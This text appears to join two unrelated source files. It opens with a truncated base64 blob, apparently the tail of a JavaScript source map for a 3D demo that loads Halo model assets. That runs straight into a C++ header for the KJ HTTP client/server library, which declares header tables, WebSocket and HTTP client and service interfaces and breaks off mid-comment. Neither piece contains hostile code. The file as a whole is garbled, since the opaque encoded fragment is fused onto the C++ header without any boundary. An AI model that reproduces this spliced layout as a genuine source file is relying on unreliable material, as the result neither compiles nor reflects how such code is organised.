6XG5cdFx0XHRcdFx0aWYgKGV2ZW50LnVybCA9PSdhc3NldHMvSGFsb18zX1NQQVJUQU40Lm9iaicpIHtcblx0XHRcdFx0XHRcdHZhciBzcHJpdGU6U3ByaXRlID0gPFNwcml0ZT4gZDtcblxuXHRcdFx0XHRcdFx0dGhpcy5zcGFydGFuLmFkZENoaWxkKHNwcml0ZSk7XG5cdFx0XHRcdFx0XHR0aGlzLnNwYXJ0YW5GbGFnID0gdHJ1ZTtcblx0XHRcdFx0XHRcdHRoaXMuc3ByaXRlcy5wdXNoKHNwcml0ZSk7XG5cdFx0XHRcdFx0fSBlbHNlIGlmIChldmVudC51cmwgPT0nYXNzZXRzL3RlcnJhaW4ub2JqJykge1xuXHRcdFx0XHRcdFx0dGhpcy50ZXJyYWluID0gPFNwcml0ZT4gZDtcblx0XHRcdFx0XHRcdHRoaXMudGVycmFpbi55ID0gOTg7XG5cdFx0XHRcdFx0XHR0aGlzLnRlcnJhaW4uZ3JhcGhpY3Muc2NhbGVVVigyMCwgMjApO1xuXHRcdFx0XHRcdFx0dGhpcy52aWV3LnNjZW5lLmFkZENoaWxkKHRoaXMudGVycmFpbik7XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0YnJlYWs7XG5cdFx0XHRcdGNhc2UgQml0bWFwSW1hZ2UyRC5hc3NldFR5cGU6XG5cdFx0XHRcdFx0aWYgKGV2ZW50LnVybCA9PSAnYXNzZXRzL21hc3RlcmNoaWVmX2Jhc2UucG5nJyApIHtcblx0XHRcdFx0XHRcdHRoaXMubWF0ID0gbmV3IE1ldGhvZE1hdGVyaWFsKDxCaXRtYXBJbWFnZTJEPiBkKTtcblx0XHRcdFx0XHRcdHRoaXMubWF0LnN0eWxlLnNhbXBsZXIgPSBuZXcgU2FtcGxlcjJEKHRydWUsIHRydWUsIGZhbHNlKTtcblx0XHRcdFx0XHRcdHRoaXMubWF0LmxpZ2h0UGlja2VyID0gbmV3IFN0YXRpY0xpZ2h0UGlja2VyKFt0aGlzLmxpZ2h0XSk7XG5cdFx0XHRcdFx0fSBlbHNlIGlmIChldmVudC51cmwgPT0gJ2Fzc2V0cy9zdG9uZV90eC5qcGcnKSB7XG5cdFx0XHRcdFx0XHR0aGlzLnRlcnJhaW5NYXRlcmlhbCA9IG5ldyBNZXRob2RNYXRlcmlhbCg8Qml0bWFwSW1hZ2UyRD4gZCk7XG5cdFx0XHRcdFx0XHR0aGlzLnRlcnJhaW5NYXRlcmlhbC5zdHlsZS5zYW1wbGVyID0gbmV3IFNhbXBsZXIyRCh0cnVlLCB0cnVlLCBmYWxzZSk7XG5cdFx0XHRcdFx0XHR0aGlzLnRlcnJhaW5NYXRlcmlhbC5saWdodFBpY2tlciA9IG5ldyBTdGF0aWNMaWdodFBpY2tlcihbdGhpcy5saWdodF0pO1xuXHRcdFx0XHRcdH1cblxuXHRcdFx0XHRcdGJyZWFrO1xuXHRcdFx0fVxuXHRcdH1cblxuXHRcdGlmICh0aGlzLnRlcnJhaW4gJiYgdGhpcy50ZXJyYWluTWF0ZXJpYWwpXG5cdFx0XHR0aGlzLnRlcnJhaW4ubWF0ZXJpYWwgPSB0aGlzLnRlcnJhaW5NYXRlcmlhbDtcblxuXHRcdGlmICh0aGlzLm1hdCAmJiB0aGlzLnNwYXJ0YW5GbGFnKVxuXHRcdFx0Zm9yICh2YXIgYzpudW1iZXIgPSAwOyBjIDwgdGhpcy5zcHJpdGVzLmxlbmd0aDsgYysrKVxuXHRcdFx0XHR0aGlzLnNwcml0ZXNbY10ubWF0ZXJpYWwgPSB0aGlzLm1hdDtcblxuXHRcdHRoaXMub25SZXNpemUoKTtcblx0fVxuXG5cdHB1YmxpYyBvblJlc2l6ZShldmVudDpVSUV2ZW50ID0gbnVsbClcblx0e1xuXHRcdHRoaXMudmlldy55ID0gMDtcblx0XHR0aGlzLnZpZXcueCA9IDA7XG5cblx0XHR0aGlzLnZpZXcud2lkdGggPSB3aW5kb3cuaW5uZXJXaWR0aDtcblx0XHR0aGlzLnZpZXcuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0O1xuXHR9XG59Il0sInNvdXJjZVJvb3QiOiIuL3Rlc3RzIn0=
// Copyright (c) 2017 Sandstorm Development Group, Inc. and contributors // Licensed under the MIT License: // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. #pragma once // The KJ HTTP client/server library. // // This is a simple library which can be used to implement an HTTP client or server. Properties // of this library include: // - Uses KJ async framework. // - Agnostic to transport layer -- you can provide your own. // - Header parsing is zero-copy -- it results in strings that point directly into the buffer // received off the wire. // - Application code which reads and writes headers refers to headers by symbolic names, not by // string literals, with lookups being array-index-based, not map-based. To make this possible, // the application announces what headers it cares about in advance, in order to assign numeric // values to them. // - Methods are identified by an enum. #include <kj/string.h> #include <kj/vector.h> #include <kj/memory.h> #include <kj/one-of.h> #include <kj/async-io.h> namespace kj { #define KJ_HTTP_FOR_EACH_METHOD(MACRO) \ MACRO(GET) \ MACRO(HEAD) \ MACRO(POST) \ MACRO(PUT) \ MACRO(DELETE) \ MACRO(PATCH) \ MACRO(PURGE) \ MACRO(OPTIONS) \ MACRO(TRACE) \ /* standard methods */ \ /* */ \ /* (CONNECT is intentionally omitted since it should be handled specially in HttpServer) */ \ \ MACRO(COPY) \ MACRO(LOCK) \ MACRO(MKCOL) \ MACRO(MOVE) \ MACRO(PROPFIND) \ MACRO(PROPPATCH) \ MACRO(SEARCH) \ MACRO(UNLOCK) \ MACRO(ACL) \ /* WebDAV */ \ \ MACRO(REPORT) \ MACRO(MKACTIVITY) \ MACRO(CHECKOUT) \ MACRO(MERGE) \ /* Subversion */ \ \ MACRO(MSEARCH) \ MACRO(NOTIFY) \ MACRO(SUBSCRIBE) \ MACRO(UNSUBSCRIBE) /* UPnP */ enum class HttpMethod { // Enum of known HTTP methods. // // We use an enum rather than a string to allow for faster parsing and switching and to reduce // ambiguity. #define DECLARE_METHOD(id) id, KJ_HTTP_FOR_EACH_METHOD(DECLARE_METHOD) #undef DECLARE_METHOD }; kj::StringPtr KJ_STRINGIFY(HttpMethod method); kj::Maybe<HttpMethod> tryParseHttpMethod(kj::StringPtr name); class HttpHeaderTable; class HttpHeaderId { // Identifies an HTTP header by numeric ID that indexes into an HttpHeaderTable. // // The KJ HTTP API prefers that headers be identified by these IDs for a few reasons: // - Integer lookups are much more efficient than string lookups. // - Case-insensitivity is awkward to deal with when const strings are being passed to the lookup // method. // - Writing out strings less often means fewer typos. // // See HttpHeaderTable for usage hints. public: HttpHeaderId() = default; inline bool operator==(const HttpHeaderId& other) const { return id == other.id; } inline bool operator!=(const HttpHeaderId& other) const { return id != other.id; } inline bool operator< (const HttpHeaderId& other) const { return id < other.id; } inline bool operator> (const HttpHeaderId& other) const { return id > other.id; } inline bool operator<=(const HttpHeaderId& other) const { return id <= other.id; } inline bool operator>=(const HttpHeaderId& other) const { return id >= other.id; } inline size_t hashCode() const { return id; } // Returned value is guaranteed to be small and never collide with other headers on the same // table. kj::StringPtr toString() const; void requireFrom(const HttpHeaderTable& table) const; // In debug mode, throws an exception if the HttpHeaderId is not from the given table. // // In opt mode, no-op. #define KJ_HTTP_FOR_EACH_BUILTIN_HEADER(MACRO) \ /* Headers that are always read-only. */ \ MACRO(CONNECTION, "Connection") \ MACRO(KEEP_ALIVE, "Keep-Alive") \ MACRO(TE, "TE") \ MACRO(TRAILER, "Trailer") \ MACRO(UPGRADE, "Upgrade") \ \ /* Headers that are read-only except in the case of a response to a HEAD request. */ \ MACRO(CONTENT_LENGTH, "Content-Length") \ MACRO(TRANSFER_ENCODING, "Transfer-Encoding") \ \ /* Headers that are read-only for WebSocket handshakes. */ \ MACRO(SEC_WEBSOCKET_KEY, "Sec-WebSocket-Key") \ MACRO(SEC_WEBSOCKET_VERSION, "Sec-WebSocket-Version") \ MACRO(SEC_WEBSOCKET_ACCEPT, "Sec-WebSocket-Accept") \ MACRO(SEC_WEBSOCKET_EXTENSIONS, "Sec-WebSocket-Extensions") \ \ /* Headers that you can write. */ \ MACRO(HOST, "Host") \ MACRO(DATE, "Date") \ MACRO(LOCATION, "Location") \ MACRO(CONTENT_TYPE, "Content-Type") // For convenience, these headers are valid for all HttpHeaderTables. You can refer to them like: // // HttpHeaderId::HOST // // TODO(someday): Fill this out with more common headers. #define DECLARE_HEADER(id, name) \ static const HttpHeaderId id; // Declare a constant for each builtin header, e.g.: HttpHeaderId::CONNECTION KJ_HTTP_FOR_EACH_BUILTIN_HEADER(DECLARE_HEADER); #undef DECLARE_HEADER private: const HttpHeaderTable* table; uint id; inline explicit constexpr HttpHeaderId(const HttpHeaderTable* table, uint id) : table(table), id(id) {} friend class HttpHeaderTable; friend class HttpHeaders; }; class HttpHeaderTable { // Construct an HttpHeaderTable to declare which headers you'll be interested in later on, and // to manufacture IDs for them. // // Example: // // // Build a header table with the headers we are interested in. // kj::HttpHeaderTable::Builder builder; // const HttpHeaderId accept = builder.add("Accept"); // const HttpHeaderId contentType = builder.add("Content-Type"); // kj::HttpHeaderTable table(kj::mv(builder)); // // // Create an HTTP client. // auto client = kj::newHttpClient(table, network); // // // Get http://example.com. // HttpHeaders headers(table); // headers.set(accept, "text/html"); // auto response = client->send(kj::HttpMethod::GET, "http://example.com", headers) // .wait(waitScope); // auto msg = kj::str("Response content type: ", response.headers.get(contentType)); struct IdsByNameMap; public: HttpHeaderTable(); // Constructs a table that only contains the builtin headers. class Builder { public: Builder(); HttpHeaderId add(kj::StringPtr name); Own<HttpHeaderTable> build(); HttpHeaderTable& getFutureTable(); // Get the still-unbuilt header table. You cannot actually use it until build() has been // called. // // This method exists to help when building a shared header table -- the Builder may be passed // to several components, each of which will register the headers they need and get a reference // to the future table. private: kj::Own<HttpHeaderTable> table; }; KJ_DISALLOW_COPY(HttpHeaderTable); // Can't copy because HttpHeaderId points to the table. ~HttpHeaderTable() noexcept(false); uint idCount() const; // Return the number of IDs in the table. kj::Maybe<HttpHeaderId> stringToId(kj::StringPtr name) const; // Try to find an ID for the given name. The matching is case-insensitive, per the HTTP spec. // // Note: if `name` contains characters that aren't allowed in HTTP header names, this may return // a bogus value rather than null, due to optimizations used in case-insensitive matching. kj::StringPtr idToString(HttpHeaderId id) const; // Get the canonical string name for the given ID. private: kj::Vector<kj::StringPtr> namesById; kj::Own<IdsByNameMap> idsByName; }; class HttpHeaders { // Represents a set of HTTP headers. // // This class guards against basic HTTP header injection attacks: Trying to set a header name or // value containing a newline, carriage return, or other invalid character will throw an // exception. public: explicit HttpHeaders(const HttpHeaderTable& table); KJ_DISALLOW_COPY(HttpHeaders); HttpHeaders(HttpHeaders&&) = default; HttpHeaders& operator=(HttpHeaders&&) = default; size_t size() const; // Returns the number of headers that forEach() would iterate over. void clear(); // Clears all contents, as if the object was freshly-allocated. However, calling this rather // than actually re-allocating the object may avoid re-allocation of internal objects. HttpHeaders clone() const; // Creates a deep clone of the HttpHeaders. The returned object owns all strings it references. HttpHeaders cloneShallow() const; // Creates a shallow clone of the HttpHeaders. The returned object references the same strings // as the original, owning none of them. bool isWebSocket() const; // Convenience method that checks for the presence of the header `Upgrade: websocket`. // // Note that this does not actually validate that the request is a complete WebSocket handshake // with the correct version number -- such validation will occur if and when you call // acceptWebSocket(). kj::Maybe<kj::StringPtr> get(HttpHeaderId id) const; // Read a header. template <typename Func> void forEach(Func&& func) const; // Calls `func(name, value)` for each header in the set -- including headers that aren't mapped // to IDs in the header table. Both inputs are of type kj::StringPtr. template <typename Func1, typename Func2> void forEach(Func1&& func1, Func2&& func2) const; // Calls `func1(id, value)` for each header in the set that has a registered HttpHeaderId, and // `func2(name, value)` for each header that does not. All calls to func1() precede all calls to // func2(). void set(HttpHeaderId id, kj::StringPtr value); void set(HttpHeaderId id, kj::String&& value); // Sets a header value, overwriting the existing value. // // The String&& version is equivalent to calling the other version followed by takeOwnership(). // // WARNING: It is the caller's responsibility to ensure that `value` remains valid until the // HttpHeaders object is destroyed. This allows string literals to be passed without making a // copy, but complicates the use of dynamic values. Hint: Consider using `takeOwnership()`. void add(kj::StringPtr name, kj::StringPtr value); void add(kj::StringPtr name, kj::String&& value); void add(kj::String&& name, kj::String&& value); // Append a header. `name` will be looked up in the header table, but if it's not mapped, the // header will be added to the list of unmapped headers. // // The String&& versions are equivalent to calling the other version followed by takeOwnership(). // // WARNING: It is the caller's responsibility to ensure that `name` and `value` remain valid // until the HttpHeaders object is destroyed. This allows string literals to be passed without // making a copy, but complicates the use of dynamic values. Hint: Consider using // `takeOwnership()`. void unset(HttpHeaderId id); // Removes a header. // // It's not possible to remove a header by string name because non-indexed headers would take // O(n) time to remove. Instead, construct a new HttpHeaders object and copy contents. void takeOwnership(kj::String&& string); void takeOwnership(kj::Array<char>&& chars); void takeOwnership(HttpHeaders&& otherHeaders); // Takes overship of a string so that it lives until the HttpHeaders object is destroyed. Useful // when you've passed a dynamic value to set() or add() or parse*(). struct Request { HttpMethod method; kj::StringPtr url; }; struct Response { uint statusCode; kj::StringPtr statusText; }; struct ProtocolError { // Represents a protocol error, such as a bad request method or invalid headers. Debugging such // errors is difficult without a copy of the data which we tried to parse, but this data is // sensitive, so we can't just lump it into the error description directly. ProtocolError // provides this sensitive data separate from the error description. // // TODO(cleanup): Should maybe not live in HttpHeaders? HttpServerErrorHandler::ProtocolError? // Or HttpProtocolError? Or maybe we need a more general way of attaching sensitive context to // kj::Exceptions? uint statusCode; // Suggested HTTP status code that should be used when returning an error to the client. // // Most errors are 400. An unrecognized method will be 501. kj::StringPtr statusMessage; // HTTP status message to go with `statusCode`, e.g. "Bad Request". kj::StringPtr description; // An error description safe for all the world to see. kj::ArrayPtr<char> rawContent; // Unredacted data which led to the error condition. This may contain anything transported over // HTTP, to include sensitive PII, so you must take care to sanitize this before using it in any // error report that may leak to unprivileged eyes. // // This ArrayPtr is merely a copy of the `content` parameter passed to `tryParseRequest()` / // `tryParseResponse()`, thus it remains valid for as long as a successfully-parsed HttpHeaders // object would remain valid. }; using RequestOrProtocolError = kj::OneOf<Request, ProtocolError>; using ResponseOrProtocolError = kj::OneOf<Response, ProtocolError>; RequestOrProtocolError tryParseRequest(kj::ArrayPtr<char> content); ResponseOrProtocolError tryParseResponse(kj::ArrayPtr<char> content); // Parse an HTTP header blob and add all the headers to this object. // // `content` should be all text from the start of the request to the first occurrance of two // newlines in a row -- including the first of these two newlines, but excluding the second. // // The parse is performed with zero copies: The callee clobbers `content` with '\0' characters // to split it into a bunch of shorter strings. The caller must keep `content` valid until the // `HttpHeaders` is destroyed, or pass it to `takeOwnership()`. bool tryParse(kj::ArrayPtr<char> content); // Like tryParseRequest()/tryParseResponse(), but don't expect any request/response line. kj::String serializeRequest(HttpMethod method, kj::StringPtr url, kj::ArrayPtr<const kj::StringPtr> connectionHeaders = nullptr) const; kj::String serializeResponse(uint statusCode, kj::StringPtr statusText, kj::ArrayPtr<const kj::StringPtr> connectionHeaders = nullptr) const; // **Most applications will not use these methods; they are called by the HTTP client and server // implementations.** // // Serialize the headers as a complete request or response blob. The blob uses '\r\n' newlines // and includes the double-newline to indicate the end of the headers. // // `connectionHeaders`, if provided, contains connection-level headers supplied by the HTTP // implementation, in the order specified by the KJ_HTTP_FOR_EACH_BUILTIN_HEADER macro. These // headers values override any corresponding header value in the HttpHeaders object. The // CONNECTION_HEADERS_COUNT constants below can help you construct this `connectionHeaders` array. enum class BuiltinIndicesEnum { #define HEADER_ID(id, name) id, KJ_HTTP_FOR_EACH_BUILTIN_HEADER(HEADER_ID) #undef HEADER_ID }; struct BuiltinIndices { #define HEADER_ID(id, name) static constexpr uint id = static_cast<uint>(BuiltinIndicesEnum::id); KJ_HTTP_FOR_EACH_BUILTIN_HEADER(HEADER_ID) #undef HEADER_ID }; static constexpr uint HEAD_RESPONSE_CONNECTION_HEADERS_COUNT = BuiltinIndices::CONTENT_LENGTH; static constexpr uint CONNECTION_HEADERS_COUNT = BuiltinIndices::SEC_WEBSOCKET_KEY; static constexpr uint WEBSOCKET_CONNECTION_HEADERS_COUNT = BuiltinIndices::HOST; // Constants for use with HttpHeaders::serialize*(). kj::String toString() const; private: const HttpHeaderTable* table; kj::Array<kj::StringPtr> indexedHeaders; // Size is always table->idCount(). struct Header { kj::StringPtr name; kj::StringPtr value; }; kj::Vector<Header> unindexedHeaders; kj::Vector<kj::Array<char>> ownedStrings; void addNoCheck(kj::StringPtr name, kj::StringPtr value); kj::StringPtr cloneToOwn(kj::StringPtr str); kj::String serialize(kj::ArrayPtr<const char> word1, kj::ArrayPtr<const char> word2, kj::ArrayPtr<const char> word3, kj::ArrayPtr<const kj::StringPtr> connectionHeaders) const; bool parseHeaders(char* ptr, char* end); // TODO(perf): Arguably we should store a map, but header sets are never very long // TODO(perf): We could optimize for common headers by storing them directly as fields. We could // also add direct accessors for those headers. }; class HttpInputStream { // Low-level interface to receive HTTP-formatted messages (headers followed by body) from an // input stream, without a paired output stream. // // Most applications will not use this. Regular HTTP clients and servers don't need this. This // is mainly useful for apps implementing various protocols that look like HTTP but aren't // really. public: struct Request { HttpMethod method; kj::StringPtr url; const HttpHeaders& headers; kj::Own<kj::AsyncInputStream> body; }; virtual kj::Promise<Request> readRequest() = 0; // Reads one HTTP request from the input stream. // // The returned struct contains pointers directly into a buffer that is invalidated on the next // message read. struct Response { uint statusCode; kj::StringPtr statusText; const HttpHeaders& headers; kj::Own<kj::AsyncInputStream> body; }; virtual kj::Promise<Response> readResponse(HttpMethod requestMethod) = 0; // Reads one HTTP response from the input stream. // // You must provide the request method because responses to HEAD requests require special // treatment. // // The returned struct contains pointers directly into a buffer that is invalidated on the next // message read. struct Message { const HttpHeaders& headers; kj::Own<kj::AsyncInputStream> body; }; virtual kj::Promise<Message> readMessage() = 0; // Reads an HTTP header set followed by a body, with no request or response line. This is not // useful for HTTP but may be useful for other protocols that make the unfortunate choice to // mimic HTTP message format, such as Visual Studio Code's JSON-RPC transport. // // The returned struct contains pointers directly into a buffer that is invalidated on the next // message read. virtual kj::Promise<bool> awaitNextMessage() = 0; // Waits until more data is available, but doesn't consume it. Returns false on EOF. }; class EntropySource { // Interface for an object that generates entropy. Typically, cryptographically-random entropy // is expected. // // TODO(cleanup): Put this somewhere more general. public: virtual void generate(kj::ArrayPtr<byte> buffer) = 0; }; class WebSocket { // Interface representincg an open WebSocket session. // // Each side can send and receive data and "close" messages. // // Ping/Pong and message fragmentation are not exposed through this interface. These features of // the underlying WebSocket protocol are not exposed by the browser-level JavaScript API either, // and thus applications typically need to implement these features at the application protocol // level instead. The implementation is, however, expected to reply to Ping messages it receives. public: virtual kj::Promise<void> send(kj::ArrayPtr<const byte> message) = 0; virtual kj::Promise<void> send(kj::ArrayPtr<const char> message) = 0; // Send a message (binary or text). The underlying buffer must remain valid, and you must not // call send() again, until the returned promise resolves. virtual kj::Promise<void> close(uint16_t code, kj::StringPtr reason) = 0; // Send a Close message. // // Note that the returned Promise resolves once the message has been sent -- it does NOT wait // for the other end to send a Close reply. The application should await a reply before dropping // the WebSocket object. virtual kj::Promise<void> disconnect() = 0; // Sends EOF on the underlying connection without sending a "close" message. This is NOT a clean // shutdown, but is sometimes useful when you want the other end to trigger whatever behavior // it normally triggers when a connection is dropped. virtual void abort() = 0; // Forcefully close this WebSocket, such that the remote end should get a DISCONNECTED error if // it continues to write. This differs from disconnect(), which only closes the sending // direction, but still allows receives. virtual kj::Promise<void> whenAborted() = 0; // Resolves when the remote side aborts the connection such that send() would throw DISCONNECTED, // if this can be detected without actually writing a message. (If not, this promise never // resolves, but send() or receive() will throw DISCONNECTED when appropriate. See also // kj::AsyncOutputStream::whenWriteDisconnected().) struct Close { uint16_t code; kj::String reason; }; typedef kj::OneOf<kj::String, kj::Array<byte>, Close> Message; static constexpr size_t SUGGESTED_MAX_MESSAGE_SIZE = 1u << 20; // 1MB virtual kj::Promise<Message> receive(size_t maxSize = SUGGESTED_MAX_MESSAGE_SIZE) = 0; // Read one message from the WebSocket and return it. Can only call once at a time. Do not call // again after Close is received. virtual kj::Promise<void> pumpTo(WebSocket& other); // Continuously receives messages from this WebSocket and send them to `other`. // // On EOF, calls other.disconnect(), then resolves. // // On other read errors, calls other.close() with the error, then resolves. // // On write error, rejects with the error. virtual kj::Maybe<kj::Promise<void>> tryPumpFrom(WebSocket& other); // Either returns null, or performs the equivalent of other.pumpTo(*this). Only returns non-null // if this WebSocket implementation is able to perform the pump in an optimized way, better than // the default implementation of pumpTo(). The default implementation of pumpTo() always tries // calling this first, and the default implementation of tryPumpFrom() always returns null. }; class HttpClient { // Interface to the client end of an HTTP connection. // // There are two kinds of clients: // * Host clients are used when talking to a specific host. The `url` specified in a request // is actually just a path. (A `Host` header is still required in all requests.) // * Proxy clients are used when the target could be any arbitrary host on the internet. // The `url` specified in a request is a full URL including protocol and hostname. public: struct Response { uint statusCode; kj::StringPtr statusText; const HttpHeaders* headers; kj::Own<kj::AsyncInputStream> body; // `statusText` and `headers` remain valid until `body` is dropped or read from. }; struct Request { kj::Own<kj::AsyncOutputStream> body; // Write the request entity body to this stream, then drop it when done. // // May be null for GET and HEAD requests (which have no body) and requests that have // Content-Length: 0. kj::Promise<Response> response; // Promise for the eventual respnose. }; virtual Request request(HttpMethod method, kj::StringPtr url, const HttpHeaders& headers, kj::Maybe<uint64_t> expectedBodySize = nullptr) = 0; // Perform an HTTP request. // // `url` may be a full URL (with protocol and host) or it may be only the path part of the URL, // depending on whether the client is a proxy client or a host client. // // `url` and `headers` need only remain valid until `request()` returns (they can be // stack-allocated). // // `expectedBodySize`, if provided, must be exactly the number of bytes that will be written to // the body. This will trigger use of the `Content-Length` connection header. Otherwise, // `Transfer-Encoding: chunked` will be used. struct WebSocketResponse { uint statusCode; kj::StringPtr statusText; const HttpHeaders* headers; kj::OneOf<kj::Own<kj::AsyncInputStream>, kj::Own<WebSocket>> webSocketOrBody; // `statusText` and `headers` remain valid until `webSocketOrBody` is dropped or read from. }; virtual kj::Promise<WebSocketResponse> openWebSocket( kj::StringPtr url, const HttpHeaders& headers); // Tries to open a WebSocket. Default implementation calls send() and never returns a WebSocket. // // `url` and `headers` need only remain valid until `openWebSocket()` returns (they can be // stack-allocated). virtual kj::Promise<kj::Own<kj::AsyncIoStream>> connect(kj::StringPtr host); // Handles CONNECT requests. Only relevant for proxy clients. Default implementation throws // UNIMPLEMENTED. }; class HttpService { // Interface which HTTP services should implement. // // This interface is functionally equivalent to HttpClient, but is intended for applications to // implement rather than call. The ergonomics and performance of the method signatures are // optimized for the serving end. // // As with clients, there are two kinds of services: // * Host services are used when talking to a specific host. The `url` specified in a request // is actually just a path. (A `Host` header is still required in all requests, and the service // may in fact serve multiple origins via this header.) // * Proxy services are used when the target could be any arbitrary host on the internet, i.e. to // implement an HTTP proxy. The `url` specified in a request is a full URL including protocol // and hostname. public: class Response { public: virtual kj::Own<kj::AsyncOutputStream> send( uint statusCode, kj::StringPtr statusText, const HttpHeaders& headers, kj::Maybe<uint64_t> expectedBodySize = nullptr) = 0; // Begin the response. // // `statusText` and `headers` need only remain valid until send() returns (they can be // stack-allocated). virtual kj::Own<WebSocket> acceptWebSocket(const HttpHeaders& headers) = 0; // If headers.isWebSocket() is true then you can call acceptWebSocket() instead of send(). kj::Promise<void> sendError(uint statusCode, kj::StringPtr statusText, const HttpHeaders& headers); kj::Promise<void> sendError(uint statusCode, kj::StringPtr statusText, const HttpHeaderTable& headerTable); // Convenience wrapper around send() which sends a basic error. A generic error page specifying // the error code is sent as the body. // // You must provide headers or a header table because downstream service wrappers may be // expecting response headers built with a particular table so that they can insert additional // headers. }; virtual kj::Promise<void> request( HttpMethod method, kj::StringPtr url, const HttpHeaders& headers, kj::AsyncInputStream& requestBody, Response& response) = 0; // Perform an HTTP request. // // `url` may be a full URL (with protocol and host) or it may be only the path part of the URL, // depending on whether the service is a proxy service or a host service. // // `url` and `headers` are invalidated on the first read from `requestBody` or when the returned // promise resolves, whichever comes first. // // Request processing can be canceled by dropping the returned promise. HttpServer may do so if // the client disconnects prematurely. virtual kj::Promise<kj::Own<kj::AsyncIoStream>> connect(kj::StringPtr host); // Handles CONNECT requests. Only relevant for proxy services. Default implementation throws // UNIMPLEMENTED. }; class HttpClientErrorHandler { public: virtual HttpClient::Response handleProtocolError(HttpHeaders::ProtocolError protocolError); // Override this function to customize error handling when the client receives an HTTP message // that fails to parse. The default implementations throws an exception. // // There are two main use cases for overriding this: // 1. `protocolError` contains the actual header content that failed to parse, giving you the // opportunity to log it for debugging purposes. The default implementation throws away this // content. // 2. You could potentially convert protocol errors into HTTP error codes, e.g. 502 Bad Gateway. // // Note that `protocolError` may contain pointers into buffers that are no longer valid once // this method returns; you will have to make copies if you want to keep them. virtual HttpClient::WebSocketResponse handleWebSocketProtocolError( HttpHeaders::ProtocolError protocolError); // Like handleProtocolError() but for WebSocket requests. The default implementation calls // handleProtocolError() and converts the Response to WebSocketResponse. There is probably very // little reason to override this. }; struct HttpClientSettings { kj::Duration idleTimeout = 5 * kj::SECONDS; // For clients which automatically create new connections, any connection idle for at least this // long will be closed. Set this to 0 to prevent connection reuse entirely. kj::Maybe<EntropySource&> entropySource = nullptr; // Must be provided in order to use `openWebSocket`. If you don't need WebSockets, this can be // omitted. The WebSocket protocol uses random values to avoid triggering flaws (including // security flaws) in certain HTTP proxy software. Specifically, entropy is used to generate the // `Sec-WebSocket-Key` header and to generate frame masks. If you know that there are no broken // or vulnerable proxies between you and the server, you can provide a dummy entropy source that // doesn't generate real entropy (e.g. returning the same value every time). Otherwise, you must // provide a cryptographically-random entropy source. kj::Maybe<HttpClientErrorHandler&> errorHandler = nullptr; // Customize how protocol errors are handled by the HttpClient. If null, HttpClientErrorHandler's // default implementation will be used. }; kj::Own<HttpClient> newHttpClient(kj::Timer& timer, HttpHeaderTable& responseHeaderTable, kj::Network& network, kj::Maybe<kj::Network&> tlsNetwork, HttpClientSettings settings = HttpClientSettings()); // Creates a proxy HttpClient that connects to hosts over the given network. The URL must always // be an absolute URL; the host is parsed from the URL. This implementation will automatically // add an appropriate Host header (and convert the URL to just a path) once it has connected. // // Note that if you wish to route traffic through an HTTP proxy server rather than connect to // remote hosts directly, you should use the form of newHttpClient() that takes a NetworkAddress, // and supply the proxy's address. // // `responseHeaderTable` is used when parsing HTTP responses. Requests can use any header table. // // `tlsNetwork` is required to support HTTPS destination URLs. If null, only HTTP URLs can be // fetched. kj::Own<HttpClient> newHttpClient(kj::Timer& timer, HttpHeaderTable& responseHeaderTable, kj::NetworkAddress& addr, HttpClientSettings settings = HttpClientSettings()); // Creates an HttpClient that always connects to the given address no matter what URL is requested. // The client will open and close connections as needed. It will attempt to reuse connections for // multiple requests but will not send a new request before the previous response on the same // connection has completed, as doing so can result in head-of-line blocking issues. The client may // be used as a proxy client or a host client depending on whether the peer is operating as // a proxy. (Hint: This is the best kind of client to use when routing traffic through an HTTP // proxy. `addr` should be the address of the proxy, and the proxy itself will resolve remote hosts // based on the URLs passed to it.) // // `responseHeaderTable` is used when parsing HTTP responses. Requests can use any header table. kj::Own<HttpClient> newHttpClient(HttpHeaderTable& responseHeaderTable, kj::AsyncIoStream& stream, HttpClientSettings settings = HttpClientSettings()); // Creates an HttpClient that speaks over the given pre-established connection. The client may // be used as a proxy client or a host client depending on whether the peer is operating as // a proxy. // // Note that since this client has only one stream to work with, it will try to pipeline all // requests on this stream. If one request or response has an I/O failure, all subsequent requests // fail as well. If the destination server chooses to close the connection after a response, // subsequent requests will fail. If a response takes a long time, it blocks subsequent responses. // If a WebSocket is opened successfully, all subsequent requests fail. kj::Own<HttpClient> newConcurrencyLimitingHttpClient( HttpClient& inner, uint maxConcurrentRequests, kj::Function<void(uint runningCount, uint pendingCount)> countChangedCallback); // Creates an HttpClient that is limited to a maximum number of concurrent requests. Additional // requests are queued, to be opened only after an open request completes. `countChangedCallback` // is called when a new connection is opened or enqueued and when an open connection is closed, // passing the number of open and pending connections. kj::Own<HttpClient> newHttpClient(HttpService& service); kj::Own<HttpService> newHttpService(HttpClient& client); // Adapts an HttpClient to an HttpService and vice versa. kj::Own<HttpInputStream> newHttpInputStream( kj::AsyncInputStream& input, HttpHeaderTable& headerTable); // Create an HttpInputStream on top of the given stream. Normally applications would not call this // directly, but it can be useful for implementing protocols that aren't quite HTTP but use similar // message delimiting. // // The HttpInputStream implementation does read-ahead buffering on `input`. Therefore, when the // HttpInputStream is destroyed, some data read from `input` may be lost, so it's not possible to // continue reading from `input` in a reliable way. kj::Own<WebSocket> newWebSocket(kj::Own<kj::AsyncIoStream> stream, kj::Maybe<EntropySource&> maskEntropySource); // Create a new WebSocket on top of the given stream. It is assumed that the HTTP -> WebSocket // upgrade handshake has already occurred (or is not needed), and messages can immediately be // sent and received on the stream. Normally applications would not call this directly. // // `maskEntropySource` is used to generate cryptographically-random frame masks. If null, 